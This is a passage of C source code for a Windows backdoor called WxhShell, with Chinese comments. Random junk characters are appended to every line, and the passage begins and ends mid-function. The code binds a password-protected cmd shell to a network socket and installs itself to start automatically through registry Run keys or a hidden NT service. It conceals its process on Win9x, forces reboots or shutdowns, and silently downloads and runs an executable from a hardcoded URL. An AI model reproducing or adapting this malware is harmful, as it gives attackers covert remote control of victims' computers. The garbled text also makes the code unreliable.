    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A04U /;  
    else { q) KKvO  
    closesocket(wsh); !&E-}}<  
    ExitThread(0); W(p_.p"  
    } Ow,b^|  
    break; *o ix6  
    } Aos+dP5h,8  
  // 关机 #/37V2E  
  case 'd': { $*m-R*kt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YS_; OFsd  
    if(Boot(SHUTDOWN)) dPRra{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WNc0W>*NE1  
    else { *LY8D<:zs  
    closesocket(wsh); l'E6CL}@[  
    ExitThread(0); .=; ;  
    } )V9bI(v  
    break; lp8v0e4  
    } dj%!I:Q>u  
  // 获取shell LDa1X2N  
  case 's': { GC'O[q+  
    CmdShell(wsh); 2X&qE}%k S  
    closesocket(wsh); [2cD:JL  
    ExitThread(0); X}0cCdW  
    break; dAj$1Ke  
  } \'j|BJ~L f  
  // 退出 % & bY]w  
  case 'x': { ,hmL/K0"(5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;dhQN }7  
    CloseIt(wsh); &%Tj/Qx  
    break; `M6)f?|$.  
    } 93hxSRw  
  // 离开 0{SL&<&  
  case 'q': { ddR>7d}N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C7AUsYM  
    closesocket(wsh); }(u ol  
    WSACleanup(); e96k{C`j0  
    exit(1); &cTU sK  
    break; FVBYo%Ap  
        } }ad|g6i`  
  } [Vt\$  
  } 8dhUBJ0_  
=vhm}  
  // 提示信息 <a+Z;>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QmIBaMI#  
} 1BEHw?dLU  
  } U/BR*Zn]*  
:M5l*sIO2  
  return; zx7{U8*`<  
} zdH kG_PT  
&+R?_Ooibk  
// shell模块句柄 ehY5!D1Q  
int CmdShell(SOCKET sock) LOJAWR9$^U  
{ [ikOb8 G#  
STARTUPINFO si; xId.GWY1  
ZeroMemory(&si,sizeof(si)); KK &?gTa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A5w6]:f2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p()xz  
PROCESS_INFORMATION ProcessInfo; Du){rVY^d  
char cmdline[]="cmd"; sx<%2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %~S&AE-  
  return 0; DlNX 3  
} |^H5^k "Bv  
;*&-C9b  
// 自身启动模式 Yz<1 wt7;  
int StartFromService(void) @s^-.z  
{ RpYERAgT  
typedef struct o _H`o&xr  
{ @\I#^X5lv  
  DWORD ExitStatus; pb=h/8R  
  DWORD PebBaseAddress; -Y;3I00(  
  DWORD AffinityMask; *uvQ\.  
  DWORD BasePriority; Xn\jO>[Ef  
  ULONG UniqueProcessId; #R RRu2  
  ULONG InheritedFromUniqueProcessId; 7=, ;h  
}   PROCESS_BASIC_INFORMATION; N17RLz *\  
& ZB  
PROCNTQSIP NtQueryInformationProcess; 1ZRT:N<-  
;jTN | i'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9~YMyg(Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6S\8$  
{FTqu.  
  HANDLE             hProcess; @xZR9Z8]L  
  PROCESS_BASIC_INFORMATION pbi; RCLeA=/N@0  
~^b/(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u> / TE  
  if(NULL == hInst ) return 0; \5cpFj5%  
n{SJ_S#a.a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A. w:h;7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5E_YEBO/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2dgd~   
4nz35BLr  
  if (!NtQueryInformationProcess) return 0; z&^&K}  
k-""_WJ~^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C"]^Q)aJN  
  if(!hProcess) return 0; sUm'  
7T'B6`-Ox  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lB[kbJ  
s(roJbJ_;  
  CloseHandle(hProcess); >i-"<&#jG  
dGTsc/$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8e"gW >f  
if(hProcess==NULL) return 0; '$QB$2~V  
G9@0@2aY8  
HMODULE hMod; @AuO`I@p=  
char procName[255]; ?b5 ^  
unsigned long cbNeeded; <_KIK  
-n5)w*b,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VOh4#%Vj  
5i{j' {_(8  
  CloseHandle(hProcess); EDs\,f}  
O%HHYV%[m  
if(strstr(procName,"services")) return 1; // 以服务启动 y$R_.KbO  
Q.c\/&  
  return 0; // 注册表启动 !FFU=f  
} @!d{bQd,  
 1ZB"EQ  
// 主模块 b*Q&CL  
int StartWxhshell(LPSTR lpCmdLine) "G9xMffW  
{ ?#Q #u|~  
  SOCKET wsl; 01(AK%e  
BOOL val=TRUE; *s iFj CN<  
  int port=0; R,=fv   
  struct sockaddr_in door; iMRwp+$  
Ok\7y-w^  
  if(wscfg.ws_autoins) Install(); njA#@fU  
Nu~lsWyRI5  
port=atoi(lpCmdLine); T37XBg H  
%BB%pC  
if(port<=0) port=wscfg.ws_port; TrR8?-  
w917N 4$  
  WSADATA data; |)/aGZ+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sds"%]r g  
QoH6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t#eTV@-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !m?-!:  
  door.sin_family = AF_INET; 3%=~) 7cF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G'aDb/  
  door.sin_port = htons(port); tcog'nAz  
y Fq&8 x<X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =[jXe  
closesocket(wsl); hqkz^!rp  
return 1; URbletSBQ  
} ?p8_AL'RS  
>t_6B~x9  
  if(listen(wsl,2) == INVALID_SOCKET) { 5rZ  
closesocket(wsl); t}tEvh  
return 1; G?Hdq;  
} ~gRf:VXX=_  
  Wxhshell(wsl); 4)o  
  WSACleanup(); h;NYdX5  
@bP)406p  
return 0; i,9)\1R  
PXNh&N  
} @cB$iP=Z4  
:tv,]05t  
// 以NT服务方式启动 -v|qZ'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R@k&SlL'`  
{ Qv/=&_6  
DWORD   status = 0; G+\GaY[  
  DWORD   specificError = 0xfffffff; 0'?L#K  
UN<]N76!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gjo`&#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u!qP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h>OfOx/{q9  
  serviceStatus.dwWin32ExitCode     = 0; 85xR2<:  
  serviceStatus.dwServiceSpecificExitCode = 0; \6*I'|5 d  
  serviceStatus.dwCheckPoint       = 0; hTi$.y!k  
  serviceStatus.dwWaitHint       = 0; #|PS&}6wU  
Z!X0U7& U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KRDmY+  
  if (hServiceStatusHandle==0) return; m$T-s|SY  
&H:(z4/  
status = GetLastError(); GYUn6P  
  if (status!=NO_ERROR) p,i[W.dy.'  
{ jPW#(3hoE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d)f :)Ew  
    serviceStatus.dwCheckPoint       = 0; [RTs[3E^  
    serviceStatus.dwWaitHint       = 0; @@ %.t|=  
    serviceStatus.dwWin32ExitCode     = status; QWHug:c  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3"KCh\\b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n t7.?$  
    return; "vE4E|  
  } E\pL!c  
)gy!GK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QbpFE)TYJ|  
  serviceStatus.dwCheckPoint       = 0; D]Xsvv #  
  serviceStatus.dwWaitHint       = 0; 5 5c|O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q;>7*Y&  
} (+y  
.z}~4BY  
// 处理NT服务事件,比如:启动、停止 K~eh P[^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P;]F(in=  
{ L AAHEv  
switch(fdwControl) :yjKL^G>  
{ Qhcu>r a  
case SERVICE_CONTROL_STOP: ?]Xpi3k  
  serviceStatus.dwWin32ExitCode = 0; |R\>@Mg#B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bY QRBi  
  serviceStatus.dwCheckPoint   = 0; A#'8X w|  
  serviceStatus.dwWaitHint     = 0; G<rHkt@[  
  { #d2.\X}A"3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z]D69O b  
  } FZE"7ec>m  
  return; Jcm&RI"{  
case SERVICE_CONTROL_PAUSE: JQHvz9Yg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tc{s B\&-  
  break; eb"5- 0  
case SERVICE_CONTROL_CONTINUE: ZlzjVU/E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ptxbDzOz  
  break; JKGe"  
case SERVICE_CONTROL_INTERROGATE: Jd^,]  
  break; GKc`xIQ  
}; gz#i.-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q2:6QM&  
} h Pa_VrH  
I- >Ss},U  
// 标准应用程序主函数 qfRH5)k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! lc[  
{ +<3X J7D  
j@uOOhy  
// 获取操作系统版本 e@* EzvO  
OsIsNt=GetOsVer(); RxWVe-Dg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K':;%~I  
o@i#|kx,  
  // 从命令行安装 6 EC*   
  if(strpbrk(lpCmdLine,"iI")) Install(); yx&51G$  
;8{4!S&b  
  // 下载执行文件 C-6F]2:  
if(wscfg.ws_downexe) { lHe{\N[C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $ Kncvu  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zu("#cA.H  
} c?&X?<  
s6.M\^  
if(!OsIsNt) { @Y<bwv  
// 如果时win9x,隐藏进程并且设置为注册表启动 b:]V`uF?  
HideProc(); UH-*(MfB  
StartWxhshell(lpCmdLine); @{tz:f  
} F Yzi~L  
else 3! oi+_  
  if(StartFromService()) % *INT  
  // 以服务方式启动 NmJWU:W_@  
  StartServiceCtrlDispatcher(DispatchTable); hD*SpVI U  
else YhE+W  
  // 普通方式启动 WE.{p>  
  StartWxhshell(lpCmdLine); P0j8- I  
p(`6hWx  
return 0; ~T,c"t2  
} }"PU%+J  
Df<xWd2  
(I{rLS!o,L  
ZE=Sp=@)j  
=========================================== K<qk.~ S  
+:!7L= N#  
q[W 0 N >  
Q&=w_Wc  
jun_QiU:2  
_Wq  
" $ig0j`  
D"rK(  
#include <stdio.h> J1sv[$9  
#include <string.h> hp7|m0.JW  
#include <windows.h> $r8 ^0ZRr  
#include <winsock2.h> QoIT*!  
#include <winsvc.h> wFsyD3  
#include <urlmon.h> ';jYOVe  
Q)" Nu.m &  
#pragma comment (lib, "Ws2_32.lib") 7k9G(i[-+  
#pragma comment (lib, "urlmon.lib") 3|4|*6  
`e|0g"oP  
#define MAX_USER   100 // 最大客户端连接数 <vh/4  
#define BUF_SOCK   200 // sock buffer kJzoFFWo$  
#define KEY_BUFF   255 // 输入 buffer 6qoyiT%P&  
[] `&vWZ  
#define REBOOT     0   // 重启 QaS7z#/?.  
#define SHUTDOWN   1   // 关机 h WtVWVNL  
2ZMb<b4H  
#define DEF_PORT   5000 // 监听端口 e .2ib?8  
6dN7_v)  
#define REG_LEN     16   // 注册表键长度 T| V:$D'  
#define SVC_LEN     80   // NT服务名长度 IsM}' .  
]#l/2V1  
// 从dll定义API ,p2s:&"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :'3XAntZA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Raxrb=7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iAa.}CI,zB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g Vv>9W('  
SmdjyK1~8  
// wxhshell配置信息 =`:K{loxq  
struct WSCFG { 1V4s<m>#  
  int ws_port;         // 监听端口 -tHU6s,  
  char ws_passstr[REG_LEN]; // 口令 . Z.)t  
  int ws_autoins;       // 安装标记, 1=yes 0=no oe |)oTv  
  char ws_regname[REG_LEN]; // 注册表键名 =2zJ3&9  
  char ws_svcname[REG_LEN]; // 服务名 hp* /#D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E.ly#2?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ceM6{N<_U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |_*O'#jx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  TYmP)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Yicg6:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CBOi`bEf  
L,`Lggq-  
}; y?m/*hh`  
G_{&sa  
// default Wxhshell configuration 6@e+C;j =  
struct WSCFG wscfg={DEF_PORT, 8U>B~9:JO  
    "xuhuanlingzhe", L[H5NUG!  
    1, KJ=6n%6  
    "Wxhshell", jN>{'TqW4  
    "Wxhshell", D@|W<i-  
            "WxhShell Service", jR2 2t`4  
    "Wrsky Windows CmdShell Service",  fA<[f  
    "Please Input Your Password: ", SHbtWq}T  
  1, i;jw\ed  
  "http://www.wrsky.com/wxhshell.exe", Ib\iT:AJ  
  "Wxhshell.exe" YN2sd G  
    }; wztA3ZL*W1  
3'qJ/*]9  
// 消息定义模块 -/cZeQDPb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ##;Er47@^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 65p?Igb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #H{<gjs]  
char *msg_ws_ext="\n\rExit."; ( Qcp{q  
char *msg_ws_end="\n\rQuit."; ~ ! 3I2  
char *msg_ws_boot="\n\rReboot..."; `m?c;,\  
char *msg_ws_poff="\n\rShutdown..."; qT"Q1xU[  
char *msg_ws_down="\n\rSave to "; Bck7\  
j!4et;  
char *msg_ws_err="\n\rErr!"; a1.Ptf eW|  
char *msg_ws_ok="\n\rOK!"; _$f9]bab  
]*FVz$>XM  
char ExeFile[MAX_PATH]; vj\dA2!~  
int nUser = 0; *R3f{/DK  
HANDLE handles[MAX_USER]; PBxCx3a{  
int OsIsNt; X4t s)>"d  
;A'Z4=*~  
SERVICE_STATUS       serviceStatus; 2 :mn</z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I8<,U!$  
!+4cqO  
// 函数声明 H nUYqhZS  
int Install(void); Eu-RNrYh#  
int Uninstall(void); s#DaKPC  
int DownloadFile(char *sURL, SOCKET wsh); L19C<5>  
int Boot(int flag); ^Au _U  
void HideProc(void); [y)`k@  
int GetOsVer(void); 1Q4}'0U4  
int Wxhshell(SOCKET wsl); y^Kph# F"  
void TalkWithClient(void *cs); 0B&Y ]*  
int CmdShell(SOCKET sock); 1~ t{aLPz  
int StartFromService(void); =ng\ 9y[;D  
int StartWxhshell(LPSTR lpCmdLine); bH2MdU  
8 <7GdCME  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YoLx>8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D3^7y.u<)  
K+8-9$w6  
// 数据结构和表定义 Q7C;1aO  
SERVICE_TABLE_ENTRY DispatchTable[] = 4*mS y  
{ 6{+{lBm=y  
{wscfg.ws_svcname, NTServiceMain}, _5m#2u51i  
{NULL, NULL} w'fT=v)  
}; DUe&r,(4O  
E)7F\w  
// 自我安装 S:q3QgU=X  
int Install(void) .G(llA}  
{ f0<%&2ym  
  char svExeFile[MAX_PATH]; ]oV{t<0a  
  HKEY key; T4 N~(Fi)  
  strcpy(svExeFile,ExeFile); I}t3 p|z  
?wF'<kEH  
// 如果是win9x系统,修改注册表设为自启动 |),'9  
if(!OsIsNt) { +sx 8t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J}@z_^|"mJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VY"9?2?/  
  RegCloseKey(key); Ra/Ukv_v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RJH,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .8uz 6~  
  RegCloseKey(key); C?=P  
  return 0; _s$_Sa ;  
    } RZ7( J  
  } mVsIAC$}8  
} drd/jH&  
else { 6uKMCQ=h  
/c-r  
// 如果是NT以上系统,安装为系统服务 ^/ =#UQ*k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b}w C|\s  
if (schSCManager!=0) A@D2+fS  
{ 3 M10fI?  
  SC_HANDLE schService = CreateService 8kt5KnD2  
  ( Ev2HGU[  
  schSCManager, }%`~T>/  
  wscfg.ws_svcname, )T66<UDK|  
  wscfg.ws_svcdisp, qdG~!h7j  
  SERVICE_ALL_ACCESS, h:)Ci!D;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [kzd(u  
  SERVICE_AUTO_START, kWb2F7m  
  SERVICE_ERROR_NORMAL, ;v~-'*0  
  svExeFile, X!},8}~J~  
  NULL, *;U'[H3Q  
  NULL, @a>2c$%  
  NULL, GF:`>u{C  
  NULL, @@g\2Gs  
  NULL TtDg*kZ  
  ); 1w0OKaF5  
  if (schService!=0) )wtaKF.-  
  { ;.Ie#Vr1N  
  CloseServiceHandle(schService); Af5D>/  
  CloseServiceHandle(schSCManager); u=NS sTP&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j9U%7u]-k  
  strcat(svExeFile,wscfg.ws_svcname); qXW})(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J.+BD\pa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8; R|  
  RegCloseKey(key); V~yAE @9  
  return 0; XJ+6FT/qss  
    } %77p5ctW  
  } @[?!s%*2  
  CloseServiceHandle(schSCManager); oi&Wo'DX  
} &Q=ZwC7#  
} omf  Rs  
cZ+7.oDu  
return 1; yag}fQ(XH  
} qxMnp}O  
!epgTN  
// 自我卸载 HXVBb%pP  
int Uninstall(void) CG&`16KN7  
{ Koln9'tB  
  HKEY key; tPyyZ#,  
desThnT w  
if(!OsIsNt) {  /n^c>)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sNHSr  
  RegDeleteValue(key,wscfg.ws_regname); @l(vYJ:f  
  RegCloseKey(key); T\# *S0^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ekm7 )d$  
  RegDeleteValue(key,wscfg.ws_regname); 6V+ qnUk  
  RegCloseKey(key); nCvPB/-  
  return 0; ]43bere  
  } (5Tvsw`  
} }^K/?dM  
} +1Ph<zq"  
else { Lx U={Y0  
5[9 bWB{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X#U MIlU  
if (schSCManager!=0) v)kEyX'K2d  
{ aSYs_?&.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tNmy& nsA  
  if (schService!=0) ! sA_?2$  
  { yWHiw<  
  if(DeleteService(schService)!=0) { Zx?b<"k  
  CloseServiceHandle(schService); QI[}(O7#6  
  CloseServiceHandle(schSCManager); .2\0~x""  
  return 0; 4oXbPr>  
  } TE-;X,gDV_  
  CloseServiceHandle(schService); ) I@L+  
  } $H'X V"<o  
  CloseServiceHandle(schSCManager); %YlTF\-  
} MY nH2w]  
} h? yG<>wI  
Q7o5R{.oJ  
return 1; N 6O8Wn  
} dd7 =)XT+  
2#/p|$;Ec'  
// 从指定url下载文件 2$zU&p7sV  
int DownloadFile(char *sURL, SOCKET wsh) Q\J,}1<`6  
{  QI!i  
  HRESULT hr; #S+Z$DQD  
char seps[]= "/"; L8vOBI7N  
char *token; -#A:`/22  
char *file; c;I, O  
char myURL[MAX_PATH]; +MO E  
char myFILE[MAX_PATH]; M\+*P,i  
8xI`jE"1  
strcpy(myURL,sURL); 9;r? nZT/  
  token=strtok(myURL,seps); g42R 'E%  
  while(token!=NULL) |AH@ EI>  
  { 3@O0^v-  
    file=token; ?Zyok]s  
  token=strtok(NULL,seps); gw3NS8 A+  
  } Yi rC*  
eE/%6g  
GetCurrentDirectory(MAX_PATH,myFILE); {rkn q_;0  
strcat(myFILE, "\\");  8R69q:  
strcat(myFILE, file); ]Bb7(JX  
  send(wsh,myFILE,strlen(myFILE),0); mKg@W;0ML  
send(wsh,"...",3,0); ke.7Zp2.R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GZ0aOpUWVq  
  if(hr==S_OK) WY)^1Gb$ux  
return 0; s"0b%0?A  
else hK}bj  
return 1; 2neRJ  
]?9[l76O7  
} %XXkVK`  
#Y,A[Y5jX  
// 系统电源模块 .Tm- g#  
int Boot(int flag) [7"}=9  
{ {.#zHL ;  
  HANDLE hToken; IB7tAG8  
  TOKEN_PRIVILEGES tkp; T }uE0Z,  
]u&dJL  
  if(OsIsNt) { {=At#*=A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G79C {|c\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J/4y|8T/y  
    tkp.PrivilegeCount = 1; a|N0(C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u5gZxO1J5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2A$0CUMb  
if(flag==REBOOT) { ~2N-k1'-'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A"/aGCG0z  
  return 0; x|apQ6  
} 3GmK3uM  
else { ^)cM&Bx t%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hBCR]=']  
  return 0; GMFc K=  
} s%dF~DSK  
  } ehc<|O9tY  
  else { @&/\r 7 '  
if(flag==REBOOT) { ?2~U2Ir]:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8SD}nFQ  
  return 0; =O^7TrM  
} $ WFhBak8  
else { eECj_eH-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @]3*B %t  
  return 0; C/+nSe.  
} 7L{li-crI  
} #DaP=k"XV  
\3 KfD'L  
return 1; 2v|qLf e1  
} rZ866\0  
s}b*5@8|tA  
// win9x进程隐藏模块 4ROWz  
void HideProc(void) (/q}mB  
{ )b9I@)C  
'{D%\w5{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hz4uZ*7\|  
  if ( hKernel != NULL ) 5~yb ~0  
  { *Yp qq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ iT{8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .xv ^G?GG  
    FreeLibrary(hKernel); Z)v)\l9d  
  } 0P:F97"1,  
{dZ8;Fy4  
return; 9XN~Ln@}  
} 2<.Vv\ =  
2?*1~ 5~I  
// 获取操作系统版本 KS>Fl->  
int GetOsVer(void) V9$-twhu  
{ qi[(*bFK7  
  OSVERSIONINFO winfo; [xS5z1;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JE%i-UVH+;  
  GetVersionEx(&winfo); l_sg)Vr/b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v=bv@c  
  return 1; ZmO' IT=Ye  
  else }Ch[|D=Wd6  
  return 0; &x/k^p=  
} Y=WR6!{  
#y`k$20"  
// 客户端句柄模块 bfc.rZ  
int Wxhshell(SOCKET wsl) tYI]=:  
{ K#U{<pUP  
  SOCKET wsh; ?',}? {"c  
  struct sockaddr_in client; p d%LL?O  
  DWORD myID; D;yd{]<  
R]fYe#!"  
  while(nUser<MAX_USER) Dpp@*xX>  
{ @>9A$w$H|a  
  int nSize=sizeof(client); v*gLNB,ZH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "x.88,T6  
  if(wsh==INVALID_SOCKET) return 1; ?ZM^%]/+  
Kk56/(_S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kBUufV~  
if(handles[nUser]==0) jM[f[  
  closesocket(wsh); qSCTFJ0  
else 6g5]=Q@U:  
  nUser++; *kV#)j  
  } v @_?iC"`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "$%{}{#W0  
YmA) @1@U  
  return 0; zXDd,ltm  
} [@s=J)H  
9M19 UP&  
// 关闭 socket E- [:. &  
void CloseIt(SOCKET wsh) =z']s4  
{ i!ds{`d  
closesocket(wsh); z'v9j_\  
nUser--; pJ$(ozV  
ExitThread(0); *@=fq|6l 2  
} A<1l^%i  
FL~9</  
// 客户端请求句柄 !}C4{Bgt*  
void TalkWithClient(void *cs) ="=#5C  
{ k@lXXII ?  
]qF<Zw7  
  SOCKET wsh=(SOCKET)cs; 5]Z]j[8Y  
  char pwd[SVC_LEN]; 7a27^b  
  char cmd[KEY_BUFF]; k.h^ $f  
char chr[1]; olslzXn7o  
int i,j; 8:BQHYeJK  
oO}>i0ax*  
  while (nUser < MAX_USER) { lP-kZA!  
orK+B4  
if(wscfg.ws_passstr) { SSo~.)J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @b>YkJDk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q 8tP29  
  //ZeroMemory(pwd,KEY_BUFF); {!>E9Px  
      i=0; =54Vs8.  
  while(i<SVC_LEN) { )OS>9 kFH  
.Lp Nm'=R  
  // 设置超时 d"Ml^rAn  
  fd_set FdRead; re2Fv:4{  
  struct timeval TimeOut; c@)pKi#W  
  FD_ZERO(&FdRead); L)j]~^P$-  
  FD_SET(wsh,&FdRead); 8p3ZF@c~ t  
  TimeOut.tv_sec=8; Rqt[D @;m  
  TimeOut.tv_usec=0; ejDCmD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rs^jk)Z:)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pi^ECSzQu[  
H{&a)!Ms  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U=_~{[/  
  pwd=chr[0]; ye56-T  
  if(chr[0]==0xd || chr[0]==0xa) { O>kXysMv>  
  pwd=0; :tg@HyY)  
  break; Cw@k.{*7,  
  } DHSU?o#jY  
  i++; KLj4 LOs  
    } 0:PH[\Z  
Uv#>d}P  
  // 如果是非法用户,关闭 socket B=r]_&u-u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3m?@7F  
} ID_|H?.  
oR!n bm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i,C0o   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8b8e^\l(  
JuKk"tr~RB  
while(1) { 9 kTD}" %2  
QfKR pnj(o  
  ZeroMemory(cmd,KEY_BUFF); "Yc^Nc  
L5i#Kh_  
      // 自动支持客户端 telnet标准   !- Cs?  
  j=0; g!~-^_F  
  while(j<KEY_BUFF) { 5&G Q=m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p3>Q<  
  cmd[j]=chr[0]; mdmZ1:PBM  
  if(chr[0]==0xa || chr[0]==0xd) { YMd&To0s  
  cmd[j]=0; JMl ,  N  
  break; %5( EkP  
  } .Bm^3A  
  j++; #VP-T; Ahe  
    } 8ItCfbqa6  
H-nFsJ(R!c  
  // 下载文件 EN5G:hD  
  if(strstr(cmd,"http://")) { 7TMDZ*  
